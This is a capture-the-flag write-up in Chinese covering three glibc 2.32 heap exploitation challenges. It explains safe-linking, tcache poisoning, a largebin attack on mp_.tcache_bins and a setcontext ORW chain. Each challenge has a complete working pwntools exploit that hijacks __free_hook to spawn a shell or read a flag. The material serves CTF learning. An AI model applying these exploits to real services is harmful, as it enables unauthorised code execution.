PWN:
safe_note:
2.32加入的异或加密
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])
PROTECT_PTR操作就是先对pos(next域的堆块地址)右移了12位,再将与原先的指针(在此版本之前fd/next储存的内容)异或得到的结果存入next。
当fastbin或tcachebin只有1个chunk时,next的值为0,此时(pos>>12)^0==(pos>>12)
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
另外泄露的main_arena+0x60
处的地址最高位为\x00
需要覆盖为其他值泄露
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./vuln")
# io=remote("node3.anna.nssctf.cn",28133)
libc=ELF("./libc-2.32.so")
def add(n,s):
io.sendlineafter(b">",b"1")
io.sendlineafter(b"Index: ",str(n))
io.sendlineafter(b"Size: ",str(s))
def delete(n):
io.sendlineafter(b">",b"2")
io.sendlineafter(b"Index: ",str(n))
def edit(n,cc):
io.sendlineafter(b">",b"3")
io.sendlineafter(b"Index: ",str(n))
io.sendlineafter(b"Content: ",cc)
def show(n):
io.sendlineafter(b">",b"4")
io.sendlineafter(b"Index: ",str(n))
for i in range(8):
add(i,0x90)
add(8,0x10)
for i in range(8):
delete(i)
edit(7,b"")
show(7)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x70-libc.sym[b"__malloc_hook"]-0xa
print("leak_addr: "+hex(leak_addr))
free_hook=leak_addr+libc.sym[b"__free_hook"]
sys_addr=leak_addr+libc.sym[b"system"]
show(0)
key=u64(io.recv(5).ljust(8,b"\x00"))
heap_addr=key<<12
print("heap_addr: "+hex(heap_addr))
free_hook_key=free_hook^key
edit(6,p64(free_hook_key))
# gdb.attach(io)
# pause()
add(9,0x90)
edit(9,b"/bin/sh")
add(10,0x90)
edit(10,p64(sys_addr))
delete(9)
io.interactive()
large_note:
exp:
#注意0x10字节对齐
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=remote("node2.anna.nssctf.cn",28607)
io=process("./vuln")
libc=ELF("./libc-2.32.so")
def add(n,s):
io.sendlineafter(b">",b"1")
io.sendlineafter(b"Index: ",str(n))
io.sendlineafter(b"Size: ",str(s))
def delete(n):
io.sendlineafter(b">",b"2")
io.sendlineafter(b"Index: ",str(n))
def edit(n,cc):
io.sendlineafter(b">",b"3")
io.sendlineafter(b"Index: ",str(n))
io.sendafter(b"Content: ",cc)
def show(n):
io.sendlineafter(b">",b"4")
io.sendlineafter(b"Index: ",str(n))
add(0,0x520)
add(1,0x600)
add(2,0x510)
delete(0)
edit(0,b"a")
show(0) #uaf泄露libc
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x61-0x70-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
free_hook=leak_addr+libc.sym[b"__free_hook"]
sys_addr=leak_addr+libc.sym[b"system"]
mp_=leak_addr+0x1e3280
tc_max_bins=mp_+0x50 #mp_.tcache_bins
edit(0,b"\x00")
add(13,0x900) #将chunk0分配到largebin
payload=p64(leak_addr+0x1e4030)*2+p64(tc_max_bins-0x20)*2 #注意检查,修改chunk 0的bk_nextsize为tc_max_bins - 0x20处,来达到任意地址写一个堆块地址
edit(0,payload)
delete(2) #分配chunk2 到unsortedbin
add(15,0x900) #分配一个大堆块出发largebin attack
# gdb.attach(io)
# pause()
delete(1)
payload=b"a"*0xe8+p64(free_hook) #固定偏移
edit(0,payload)
add(1,0x600)
edit(1, p64(sys_addr))
add(6,0x600)
edit(6,b"/bin/sh\x00")
delete(6) #劫持free_hook为system函数,free掉"/bin/sh"堆块即可
io.interactive()
note_context:
largebin attack+mp_.tcache_bins+setcontext
上一道large_note跟着官方wp走有不少疑惑,不得不吐槽一下让人云里雾里的
这道题认真的走了一遍流程,解决了一些疑惑
开启沙盒,禁用execve
和execveat
,打orw
菜单题功能齐全,但是申请堆块大小范围在largebin中
本题攻击mp_.tcache_bins
,largebin attack实现任意地址写
可以申请到mp_.tcache_bins
处,此时可见一个堆地址覆盖了原来的0x40(tcachebin数量)
因此之后释放的在largebin大小范围的堆块也会被tcachebin管辖
因此可以打tcachebin posioning,可以劫持__free_hook
由于只能打orw,glibc 2.32版本下选择使用setcontext+61
劫持程序流
mov rsp,[rdx+0A0h]
可以劫持rsp寄存器,进而达到控制程序流的目的
而我们使用另外一个gadget:
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
可以实现调用[rdx+0x20]
处的指令的作用,
调用__free_hook
时将传入的地址作为第一个参数传入rdi
因此我们可以将要delete的堆块中填入p64(0)+p64(addr)
,将addr的值传入rdx寄存器中,最终调用[addr+0x20]
的指令,向该地址填入setcontext+61
的地址
在当前payload的0xa0偏移处布置orw地址,可以劫持rsp寄存器到orw rop链上,不要忘了orw后跟个ret地址来弹栈执行
此题需要注意申请堆块大小在largebin范围内,而tcachebin->next
的指针异或加密在每0x1000的范围内相同(>>12正好抹去末三位),所以大于0x1000的情况很容易出现,因此可以直接用next指针异或目标地址来绕过检查
mp_.tcache_bins
的偏移可以直接vmmap
找出堆基址
然后使用search -8 堆基址
在libc.so上的地址+0x8即是真实地址
偏移dist
即可
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=remote("node3.anna.nssctf.cn",28878)
io=process("./vuln")
elf=ELF("./vuln")
libc=ELF("./libc-2.32.so")
#sandbox on
def add(n,s):
io.sendlineafter(b">",b"1")
io.sendlineafter(b"Index: ",str(n))
io.sendlineafter(b"Size: ",str(s))
def delete(n):
io.sendlineafter(b">",b"2")
io.sendlineafter(b"Index: ",str(n))
def edit(n,cc):
io.sendlineafter(b">",b"3")
io.sendlineafter(b"Index: ",str(n))
io.sendafter(b"Content: ",cc)
def show(n):
io.sendlineafter(b">",b"4")
io.sendlineafter(b"Index: ",str(n))
# gdb.attach(io)
# pause()
### leak libc
add(0,0x560) #0
add(14,0x540) #14
add(1,0x540) #1
delete(0)
edit(0,b"A")
show(0)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-65-0x70-libc.sym[b"__malloc_hook"]
print("leak_addr: ",hex(leak_addr))
###
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
setcontext_61=leak_addr+libc.sym[b"setcontext"]+61
mprotect=leak_addr+libc.sym[b"mprotect"]
mp_=leak_addr+0x1e32d0
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
pop_rsi=leak_addr+0x2ac3f
pop_rdi=leak_addr+0x2858f
pop_rdx_r12=leak_addr+0x114161
pop_rax=leak_addr+0x45580
ret=leak_addr+0x26699
magic_gadget=leak_addr+0x14b760
'''
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
'''
### leak heap
edit(0,b"\x00")
add(2,0x900) #2
edit(0,b"A"*0xf+b"B")
show(0)
io.recvuntil(b"B")
heap_addr=u64(io.recv(6).ljust(8,b"\x00"))-0x290
key=heap_addr>>12
ck_next=heap_addr+0x24d0
print("heap_addr: ",hex(heap_addr))
print("key: ",hex(key))
###
### largebin attack
payload=p64(leak_addr+libc.sym[b"__malloc_hook"]+0x70)*2
payload+=p64(mp_-0x20)*2
edit(0,payload)
delete(1)
add(3,0x900) #3
###
### hijack __free_hook
add(4,0x900) #4
add(5,0x900) #5
delete(5)
delete(4)
edit(4,p64((ck_next>>12)^free_hook))
add(4,0x900)
add(5,0x900)
edit(5,p64(magic_gadget))
###
stack_addr=heap_addr+0x36f0
orw_addr=heap_addr+0x3f00
#open
orw=p64(pop_rdi)+p64(stack_addr)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr+0x5000)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr+0x5000)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(write_a)
stack=b"./flag\x00\x00"+p64(0)*3+p64(setcontext_61)
stack=stack.ljust(0xa0,b"\x00")
stack+=p64(orw_addr)+p64(ret)
add(6,0x800) #6
edit(6,stack)
add(7,0x800) #7
edit(7,orw)
# gdb.attach(io)
# pause()
add(8,0x700) #8
edit(8,p64(0)+p64(stack_addr))
delete(8)
io.interactive()